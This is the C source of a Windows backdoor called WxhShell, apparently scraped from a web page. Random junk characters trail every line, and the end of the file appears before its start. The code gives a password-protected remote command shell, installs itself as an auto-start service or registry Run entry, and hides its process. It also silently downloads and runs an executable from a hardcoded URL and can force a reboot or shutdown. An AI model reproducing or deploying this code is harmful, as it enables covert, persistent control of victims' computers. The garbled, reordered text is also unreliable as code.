    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%RB&:K7,  
    else { q|7$@H^*  
    closesocket(wsh); ]k.'~ Syz  
    ExitThread(0); ~l>2NY  
    } ,*'aH z  
    break; #`{L_n$c  
    } j+>&~  
  // 获取shell - -H%FYF`  
  case 's': { :~+m9r  
    CmdShell(wsh); w?zY9Fs=s  
    closesocket(wsh); tR% &.,2  
    ExitThread(0); i$W=5B>SO  
    break; >4eZ%</D5  
  } #sp8 !8|y  
  // 退出 Pi:=0,"XOp  
  case 'x': { i5^U1K\M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W8{zV_TBm  
    CloseIt(wsh); 0ud>oh4WPR  
    break; H@hHEzO  
    } >^hy@m  
  // 离开 Sk&l8"  
  case 'q': { b!xm=U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^5d9n<_xnQ  
    closesocket(wsh); (qXl=e8  
    WSACleanup(); &C7HG^;W9  
    exit(1); b9@VD)J0E  
    break; \H5{[ZUn  
        } p?zh4:\F+  
  } C1KO]e>  
  } o@g/,V $  
s.G6?1VXlY  
  // 提示信息 jW!)5(B[A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &SE+7HXw  
} 5!)_" u3  
  } oc3}L^aD  
(N25.}8Y  
  return; mMRdnf!Uid  
} bkfk9P  
Rk.GrLp  
// shell模块句柄 vswBK-w(Z  
int CmdShell(SOCKET sock) [v$NxmRu  
{ #[{xEVf  
STARTUPINFO si; mjz<,s`D  
ZeroMemory(&si,sizeof(si)); '+{dr\nJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %!e;sL~&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PC}m.tE  
PROCESS_INFORMATION ProcessInfo; SQd`xbIuL  
char cmdline[]="cmd"; iNAaTU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HfgK0wIi  
  return 0; =q-HR+  
} Rr>h8Ni <  
hPHrq{YZ  
// 自身启动模式 Du2v,n5@  
int StartFromService(void) !HP/`R  
{ P?P))UB5  
typedef struct j L[ hB  
{ J6Q}a7I#  
  DWORD ExitStatus; DfQD!}=  
  DWORD PebBaseAddress; az2CFd^M  
  DWORD AffinityMask; H;O PA8\n  
  DWORD BasePriority; f:-dw6a=s  
  ULONG UniqueProcessId; Ew kZzVuX  
  ULONG InheritedFromUniqueProcessId; t846:Z%[  
}   PROCESS_BASIC_INFORMATION; a:3f>0_t  
Ly$s0.!  
PROCNTQSIP NtQueryInformationProcess; {? dW-  
`i)&nW)R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5{&<X.jv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uJ!yM;{+  
zUhJr$N$  
  HANDLE             hProcess; ?~5J!|r#  
  PROCESS_BASIC_INFORMATION pbi; Xqac$%[3  
S(f V ,;Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8?7gyp!k_f  
  if(NULL == hInst ) return 0; Ag!#epi{0  
GCgpe(cQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G$D6#/rR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4U*uH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H}$hk  
An%V>a-[  
  if (!NtQueryInformationProcess) return 0; > WW5A py[  
UUt631  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mxRe2<W  
  if(!hProcess) return 0; S-Y(Vn4  
`(9B(&t^,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /B?hM&@z  
6/#5TdJA  
  CloseHandle(hProcess); $Di2B A4Di  
!r8Jo{(pb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KrFV4J[  
if(hProcess==NULL) return 0; A<&:-Zz  
D?w-uR%Y  
HMODULE hMod; drQioH-  
char procName[255]; Z)U#5|sf  
unsigned long cbNeeded; ;')T}wuq  
0CD2o\`8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X&<#3n  
-^ (NIl'  
  CloseHandle(hProcess); L^`oJ9k!  
995^[c1o6  
if(strstr(procName,"services")) return 1; // 以服务启动 N -]m <z>  
y{eZrX|  
  return 0; // 注册表启动 e<p_u)m  
} R<!WW9IM  
B9_0 Yq  
// 主模块 [\ JZpF  
int StartWxhshell(LPSTR lpCmdLine) A/U tf0{3"  
{ i`g>Y5   
  SOCKET wsl; N[$(y} !s  
BOOL val=TRUE; T_}\  
  int port=0; vR?L/G^.  
  struct sockaddr_in door; Z6b3gV  
X |f'e@  
  if(wscfg.ws_autoins) Install(); V#TA%>  
(!';  
port=atoi(lpCmdLine); Oed&B  
7#,+Q(2  
if(port<=0) port=wscfg.ws_port; (WW,]#^  
a<V=C  
  WSADATA data; S)"5X)mq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |7zm!^t$  
]sjOn?YA+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2="C6 7TK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OD"eB?  
  door.sin_family = AF_INET; tE{7S/?h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l!ye\  
  door.sin_port = htons(port); aAko-,URC  
!qH=l-7A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MjU>qx::  
closesocket(wsl); )`rC"N)  
return 1; =*'X  
} ftq~AF  
33\b@F7b  
  if(listen(wsl,2) == INVALID_SOCKET) { `bZ_=UAb  
closesocket(wsl); RWBmQg^]X  
return 1; B`hxF(_p/  
} |y%pP/;&!  
  Wxhshell(wsl); 0;TMwE  
  WSACleanup(); sZ'3PNpCP  
?NI)3-l  
return 0; %!rsu-W:Y  
,XP9NHE  
} i=2+1 ;K  
#U/B,`= >  
// 以NT服务方式启动 [uRsB5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RpLm'~N'  
{ q@(N 38D  
DWORD   status = 0; W,agP G\+  
  DWORD   specificError = 0xfffffff; j7-#">YL  
}qz58]fyx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;T52 aX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .: 7h=neEW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7*XG]=z/  
  serviceStatus.dwWin32ExitCode     = 0; 3F}d,aB A  
  serviceStatus.dwServiceSpecificExitCode = 0; F{T|lTl  
  serviceStatus.dwCheckPoint       = 0; 9Zrn(D  
  serviceStatus.dwWaitHint       = 0; *8XGo  
Y,m H ]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sCb?TyN'n  
  if (hServiceStatusHandle==0) return; "<O?KO 3K  
~[9 ]M)=O0  
status = GetLastError(); !9)*.9[8  
  if (status!=NO_ERROR) n? s4"N6  
{ Vxgc|E^J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^U_jeAuk8[  
    serviceStatus.dwCheckPoint       = 0; kLD)<D  
    serviceStatus.dwWaitHint       = 0; w-nkf M~  
    serviceStatus.dwWin32ExitCode     = status; ^ O`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9DtSYd/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E$G "R =  
    return; [=E<iPl  
  } .Yu,&HR  
d&'6l"${  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @pko zE-  
  serviceStatus.dwCheckPoint       = 0; &(.ZHF  
  serviceStatus.dwWaitHint       = 0; %)aDh }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xEiW]Eo  
} xU rfH$$!`  
;8 b f5  
// 处理NT服务事件,比如:启动、停止 n6uobo-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5!cplx=<  
{ (~#PzE :  
switch(fdwControl) zu|pL`X  
{ sU}e78mh  
case SERVICE_CONTROL_STOP: \R#XSW,  
  serviceStatus.dwWin32ExitCode = 0; q5RLIstQ\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; etDB|(,z  
  serviceStatus.dwCheckPoint   = 0; (8ymQ!aY  
  serviceStatus.dwWaitHint     = 0; |n &6z  
  { gVl#pVO`N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h'jnc.  
  } yWK[@;S]%  
  return; IaF79}^  
case SERVICE_CONTROL_PAUSE: oD}I{&=wa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L|H{;r'  
  break;  z`_N|iEd  
case SERVICE_CONTROL_CONTINUE: da<1,hF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FP\[7?ZLn  
  break; ?QMs<  
case SERVICE_CONTROL_INTERROGATE: A=3 U4L  
  break; )t.q[O`  
}; >ab=LDoM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  :D/R  
} #e0+;kBh  
jf2E{48P  
// 标准应用程序主函数 3~S~)quwP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yp;x  
{ "{:*fI;!  
_6[NYv$"  
// 获取操作系统版本 L`p[Dq.  
OsIsNt=GetOsVer(); }z*p2)v`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R`<E3J\*  
@F1pu3E  
  // 从命令行安装 e'?(`yW>  
  if(strpbrk(lpCmdLine,"iI")) Install();  6$Dbeb  
PQs9@]w[  
  // 下载执行文件 2KX *x_-   
if(wscfg.ws_downexe) { }$UFc1He\J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I'j? T.  
  WinExec(wscfg.ws_filenam,SW_HIDE); }l2JXf55  
} #nd,cn  
_8`|KY  
if(!OsIsNt) { i}YnJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 @GV^B'}*  
HideProc(); 1hN! 2Y:  
StartWxhshell(lpCmdLine); _1Eyqh`oh  
} ls5S9R 5  
else Cm&itG  
  if(StartFromService()) "N;|~S)w!  
  // 以服务方式启动 S,v`rmI  
  StartServiceCtrlDispatcher(DispatchTable); - t+Mh.  
else 'F~u \m=E  
  // 普通方式启动 B?4\IXek  
  StartWxhshell(lpCmdLine); I F@M  
Nf~<xK  
return 0; -Z@ p   
} O| 2Q- @D  
_Dv^~e1c  
ppYz~ {"r  
83 n: h08  
=========================================== N$+"zJmw&  
0Nfj}sXCWE  
%|I|Mc  
t Z%?vY~!  
`l}-S |a  
qRFN@ID$  
" cQR1v-Xt  
+EB# #  
#include <stdio.h> bODl q  
#include <string.h> uu:)jxi  
#include <windows.h> 2*M*<p=v  
#include <winsock2.h> 3%} Ma,  
#include <winsvc.h> = `^jz}  
#include <urlmon.h> jmFN*VIL  
D)_Ei'+*l  
#pragma comment (lib, "Ws2_32.lib") "Wm~\)t(  
#pragma comment (lib, "urlmon.lib") DHAWUS6  
~JXHBX  
#define MAX_USER   100 // 最大客户端连接数 %Z7!9+<  
#define BUF_SOCK   200 // sock buffer  g{%';  
#define KEY_BUFF   255 // 输入 buffer B'Wky>5)  
w.8~A,5}Dh  
#define REBOOT     0   // 重启 'GFzI:Xr  
#define SHUTDOWN   1   // 关机 ]VvJ1Xn0  
1@WGbORc*  
#define DEF_PORT   5000 // 监听端口 82X.  
^Toi_  
#define REG_LEN     16   // 注册表键长度 R+K[/AA  
#define SVC_LEN     80   // NT服务名长度 #RF=a7&F  
Trrh`@R  
// 从dll定义API gy{a+Wbc*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <}%ir,8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B /W$RcV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E ( @;p%:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q-F9oZ*0  
"7HB3?2>W  
// wxhshell配置信息 ~laZ(Bma);  
struct WSCFG { asg>TO W  
  int ws_port;         // 监听端口 o >Lk`\  
  char ws_passstr[REG_LEN]; // 口令 US4Um>j  
  int ws_autoins;       // 安装标记, 1=yes 0=no $ZS9CkN  
  char ws_regname[REG_LEN]; // 注册表键名 &f*dFUM]I  
  char ws_svcname[REG_LEN]; // 服务名 | 6>_L6t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aM~fRra7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f2wW2]Fg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W%1S:2+Kl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }>0 Kc=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~S3eatM$9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ax%I)3  
V5B-S.i@  
}; {Fi@|'  
:j ~5(K"  
// default Wxhshell configuration @m V C  
struct WSCFG wscfg={DEF_PORT, { rT`*P~  
    "xuhuanlingzhe", u3vmC:bV  
    1, q3F5\6aN  
    "Wxhshell", ^mi4q[PM  
    "Wxhshell", A-5 +#  
            "WxhShell Service", Q7|13^ |C  
    "Wrsky Windows CmdShell Service", !qlGt)G3  
    "Please Input Your Password: ", mB{{o}'<u  
  1, ??Zmj:8E'  
  "http://www.wrsky.com/wxhshell.exe", X}(0y  
  "Wxhshell.exe" 9$&e~^&B  
    }; ~t={ \,X\  
F"xO0t  
// 消息定义模块 ~-5@- V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D,\=zX;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; prtxE&-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k`TJ<Dv;  
char *msg_ws_ext="\n\rExit."; (GG"'bYk  
char *msg_ws_end="\n\rQuit."; 2~V Im#  
char *msg_ws_boot="\n\rReboot..."; ZRB 0OH  
char *msg_ws_poff="\n\rShutdown..."; d8HB2c5y0i  
char *msg_ws_down="\n\rSave to "; }&DB5M  
=[JN'|Q+  
char *msg_ws_err="\n\rErr!"; sw|:Z(`  
char *msg_ws_ok="\n\rOK!"; hZ<btN .y5  
`fZD%o3l  
char ExeFile[MAX_PATH]; 2HXKz7da  
int nUser = 0; d|]O<]CG_  
HANDLE handles[MAX_USER]; K;[%S  
int OsIsNt; AxlFU~E4  
GYC&P]  
SERVICE_STATUS       serviceStatus; wkD:i2E7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (0W}e(D8  
jJZsBOW[8  
// 函数声明 8%<`$`FyU  
int Install(void); 8/"|VE DOr  
int Uninstall(void); 7 Zt\G-QV  
int DownloadFile(char *sURL, SOCKET wsh); gvNZrp>e!  
int Boot(int flag); -j_I_  
void HideProc(void); :(>9u.>l?5  
int GetOsVer(void); |xZcT4  
int Wxhshell(SOCKET wsl); mE`qvavP|/  
void TalkWithClient(void *cs); >&QH{!(  
int CmdShell(SOCKET sock);  p &>A5  
int StartFromService(void); `8;,&<U'`  
int StartWxhshell(LPSTR lpCmdLine); hF"g 91P  
P0e""9JOo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TE%#$q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ttaQlEa=Z  
3]<re{)J9O  
// 数据结构和表定义 ~9r!m5ws  
SERVICE_TABLE_ENTRY DispatchTable[] = QaWHz   
{ $-Pqs ^g  
{wscfg.ws_svcname, NTServiceMain}, >}b6J7_  
{NULL, NULL} IzdTXc f  
}; tRnW%F5  
1/ pA/UVO  
// 自我安装 _]xt65TL  
int Install(void) RR!!hY3 K  
{ H:-A; f!Z  
  char svExeFile[MAX_PATH]; d:hL )x  
  HKEY key; sD8 m<   
  strcpy(svExeFile,ExeFile); NOr <,  
^YR|WKY  
// 如果是win9x系统,修改注册表设为自启动 =HY1l}\  
if(!OsIsNt) { @f{_=~+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8ts+'65|F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vA"niO  
  RegCloseKey(key); \c~{o+UD-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { knOn UU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,p!B"# ot  
  RegCloseKey(key); ; ,=h59`  
  return 0; F|?'9s*;6G  
    } :e]9T3Q  
  } wB>S\~i  
} <*"pra{3  
else { OR\DTLIl  
{HHh.K  
// 如果是NT以上系统,安装为系统服务 r1oku0o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $54=gRo^  
if (schSCManager!=0) <D!c ~*[  
{ /3Nb  
  SC_HANDLE schService = CreateService Pc)VK>.fc  
  ( U2V^T'Y[  
  schSCManager, g[s\~MF@s  
  wscfg.ws_svcname, Z-SwJtWk  
  wscfg.ws_svcdisp, %,,`N I{  
  SERVICE_ALL_ACCESS, ;wXY3|@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3XwU6M$5g  
  SERVICE_AUTO_START, ^'&iYV  
  SERVICE_ERROR_NORMAL, =r@gJw:B  
  svExeFile, vZE|Z[M+<  
  NULL, -/UXd4S  
  NULL, R+E_#lP_$  
  NULL, DVl[t8K!  
  NULL, W&e'3gk_  
  NULL cRh\USS  
  ); C~{NKMeC/m  
  if (schService!=0) K2xH'v O(  
  { =0h|yjnL/  
  CloseServiceHandle(schService); LiZdRr  
  CloseServiceHandle(schSCManager); kxm:g)`=[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1GG>.RCP  
  strcat(svExeFile,wscfg.ws_svcname); ^r>f2 x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O:;OR'N9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -4e) N*VVu  
  RegCloseKey(key); 9K;k%  
  return 0; 4r1<,{gCS  
    } NTm<6Is`  
  } RQ^m6)BTo  
  CloseServiceHandle(schSCManager); CYtjY~  
} | "Jx  
} j?\$G.Y  
gT(th9'+z  
return 1; JG@L5f  
} Rkpr8MS  
w dGpt_  
// 自我卸载 \[hn]@@  
int Uninstall(void) 9DOkQnnc  
{ (@)2PO /  
  HKEY key; q]"2hLq  
F1gt3 ae  
if(!OsIsNt) { <rX \LwR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =6cyE  
  RegDeleteValue(key,wscfg.ws_regname); -(\1r2 Y  
  RegCloseKey(key); K`Bq(z?/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nTys4 R  
  RegDeleteValue(key,wscfg.ws_regname); 3s`V)aXP  
  RegCloseKey(key); #y=ZP:{:t  
  return 0; R2}kz.  
  } %n05 Jitl  
} @up&q  
} 7 9Qc`3a  
else { 2J;kD2"!  
tYs8)\{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .P)s4rQ\  
if (schSCManager!=0) , Aq9fyC%  
{ :7p9t.R<$h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UrO=!Gk  
  if (schService!=0) SU%mmw ES3  
  { #V.ZdLo(  
  if(DeleteService(schService)!=0) { 3ty4D2y  
  CloseServiceHandle(schService); k"">2#V  
  CloseServiceHandle(schSCManager); I&L.;~  
  return 0; U^%9 )4bj  
  } MV:W@)rg  
  CloseServiceHandle(schService); w4\BD&7V  
  } P<%v +O  
  CloseServiceHandle(schSCManager); -xJX_6}A  
} iv:,fkwG  
} {(rf/:X!p  
X*pZNz&E  
return 1; tg~A}1o`0  
} 7\IL  
j~Q}F|i8  
// 从指定url下载文件 A LXUaE.  
int DownloadFile(char *sURL, SOCKET wsh) Q  |  
{ b,#`n  
  HRESULT hr; 8y$5oD6g9  
char seps[]= "/"; m</]D WJ  
char *token; }>2t&+v+  
char *file; gaQ[3g  
char myURL[MAX_PATH]; w{PUj  
char myFILE[MAX_PATH]; N 0+hejz  
b -PSm=`  
strcpy(myURL,sURL); j!YNg*H  
  token=strtok(myURL,seps); O!;H}{[dg  
  while(token!=NULL) r0>q%eM8  
  { zhNQuK,L  
    file=token; ?-e7e %  
  token=strtok(NULL,seps); SOVj Eo4'3  
  } >Q; g0\I_  
wHx}U M"  
GetCurrentDirectory(MAX_PATH,myFILE); :^ n*V6.4  
strcat(myFILE, "\\"); YWEYHr;%^?  
strcat(myFILE, file); 6`acg'sk>  
  send(wsh,myFILE,strlen(myFILE),0); :-z&Y492  
send(wsh,"...",3,0); H4t)+(:D'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zr=ib  
  if(hr==S_OK) 7 0_}S*T  
return 0; p"2m90IO  
else OY:u',T  
return 1; >-b&v$  
* -0>3  
} jh[ #p?:  
H"eS<eT  
// 系统电源模块 13H;p[$  
int Boot(int flag) ;AKwx|I$g  
{ Hb+X}7c$  
  HANDLE hToken; E Zi&]  
  TOKEN_PRIVILEGES tkp; z) :ka"e  
j1/+\8Y  
  if(OsIsNt) { Oukd_Ryf   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :$NsR*Cq*9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "?35C !  
    tkp.PrivilegeCount = 1; g0PT8]8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E, GN|l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qlw>+y-i  
if(flag==REBOOT) { 9TC) w|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lbcy:E*g  
  return 0; ~(P&g7u  
} 09'oz*v{#  
else { 30s; }  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D93gH1z  
  return 0; =J](.78  
} gljo;f:  
  } w8p8 ;@  
  else { GF*>~_Yr  
if(flag==REBOOT) { @o6R[5(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h h"h j  
  return 0; Fk{J@Y  
} e4DMO*6  
else { nob0T5G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M ,`w A  
  return 0; zEj#arSE4  
} 5MR,UgT  
} 5X#E@3g5  
\|.7-X  
return 1; nBkh:5E5%  
} `rlk|&T1  
vy [C'a  
// win9x进程隐藏模块 7b,(\Fm  
void HideProc(void) ZIDbqQu  
{ _|A+ ) K  
{]^O:i"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /,2rjJ#b  
  if ( hKernel != NULL ) ;'0=T0\  
  { D/CIA8h3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .fp&MgiQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [*Uu#9  
    FreeLibrary(hKernel); ~W-cGb3c  
  } y!~qbh[  
Be2lMC  
return; p $Hi[upy  
} | &7S8Q  
H;Ku w  
// 获取操作系统版本 '1Y\[T*  
int GetOsVer(void) ^AL2H'  
{ X:|8vS+0gU  
  OSVERSIONINFO winfo; }gv8au<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W3GNA""O  
  GetVersionEx(&winfo); po7>IQS]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B $XwTJ>  
  return 1; Ji?#.r`"n  
  else wMWW=$h#\  
  return 0; d|lpec  
} u-3:k  
5Sva}9H  
// 客户端句柄模块 36vgX=}  
int Wxhshell(SOCKET wsl) cj$d=k~  
{ nS9wb1Zl  
  SOCKET wsh; _MuZ4tc  
  struct sockaddr_in client; 02=lsV!U  
  DWORD myID; r@kP*  
~TqT }:,H  
  while(nUser<MAX_USER) 'V (,.'  
{ `\CVV*hP  
  int nSize=sizeof(client); SwW['c'*]B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b?T  
  if(wsh==INVALID_SOCKET) return 1; fQdK]rLj  
t~hTp K*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gh\q^?}  
if(handles[nUser]==0) GpI!J}~m  
  closesocket(wsh); "N5!mpD"  
else Nd@~>&F  
  nUser++; k~.&j"K  
  } hgj <>H|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qdf=XG5  
-7{ $ Vj  
  return 0; j Ux z  
} :O= \<t  
MTOy8 Im  
// 关闭 socket 1:M@&1L Yp  
void CloseIt(SOCKET wsh) 2%u;$pj  
{ V[nQQxWp=  
closesocket(wsh); i+{yMol1  
nUser--; Qk1xUE  
ExitThread(0); hA1-){aw3q  
} .(CP. d  
/i]y$^  
// 客户端请求句柄 8}s.Fg@tE  
void TalkWithClient(void *cs) Qf$|_&|  
{ x@Hd^xH`  
.2) =vf'd  
  SOCKET wsh=(SOCKET)cs; 04U")-\O  
  char pwd[SVC_LEN]; Y>+y(ck  
  char cmd[KEY_BUFF]; N!2Rl  
char chr[1]; U#&7p)4(  
int i,j; Ch \&GzQ  
m3<+yz$!r  
  while (nUser < MAX_USER) { \Ae9\Jp8M  
YXo|~p;=Y  
if(wscfg.ws_passstr) { Z\}K{#   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T~_/Vi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uxaYCa?  
  //ZeroMemory(pwd,KEY_BUFF); ({WyDu&=  
      i=0; Q'O[R+YT ,  
  while(i<SVC_LEN) { y|wlq3o  
^ BQrbY  
  // 设置超时 P [Uy  
  fd_set FdRead; 9ZXlR?GA  
  struct timeval TimeOut; 7R!5,Js+  
  FD_ZERO(&FdRead); L|@y&di  
  FD_SET(wsh,&FdRead); )lk&z8;.=  
  TimeOut.tv_sec=8; 0 &_UH}10  
  TimeOut.tv_usec=0; Vv1|51B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?L&|Uw+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PjA6Ji;Hu  
Xce0~\_ A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >K9#3 4hP  
  pwd=chr[0]; #n0Y6Pr  
  if(chr[0]==0xd || chr[0]==0xa) { RPd}Wf  
  pwd=0; Z[__"^}  
  break; 91>fqe  
  } ';Zi@f"  
  i++; ^sN (  
    } U8qtwA9t  
LI2&&Mw  
  // 如果是非法用户,关闭 socket JM1R ;i6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c:Wze*vI ;  
} om?-WJI  
|sRipWh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mi'8 ~J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 26T"XW'_  
AdRX`[ik  
while(1) { <\kr1qH H  
iu&wO<)+?  
  ZeroMemory(cmd,KEY_BUFF); AKMm&(fh%  
^P151*=D  
      // 自动支持客户端 telnet标准   \%^%wXfp  
  j=0; ]BR,M4   
  while(j<KEY_BUFF) { U!U$x74D5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sBrI}[oyx  
  cmd[j]=chr[0]; {ZY+L;eg1  
  if(chr[0]==0xa || chr[0]==0xd) { gUyR_5q)8l  
  cmd[j]=0; !,V{zTR  
  break; 5waKI?4F  
  } "HE^v_p  
  j++; \+aC"#+0  
    } 5onm]V]  
F 8B#}%JE  
  // 下载文件 ( Jz;W<E  
  if(strstr(cmd,"http://")) { pPd#N'\*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9]q:[zm^  
  if(DownloadFile(cmd,wsh)) &gzCteS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[hcJz!D  
  else `{qG1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [JF150zr  
  } ^Q+g({  
  else { qucq,Yw  
{nLjY|*  
    switch(cmd[0]) { Qxj JN^Q  
  M(/r%-D  
  // 帮助 g<~Cpd  
  case '?': { bV,}Pp+/"!  
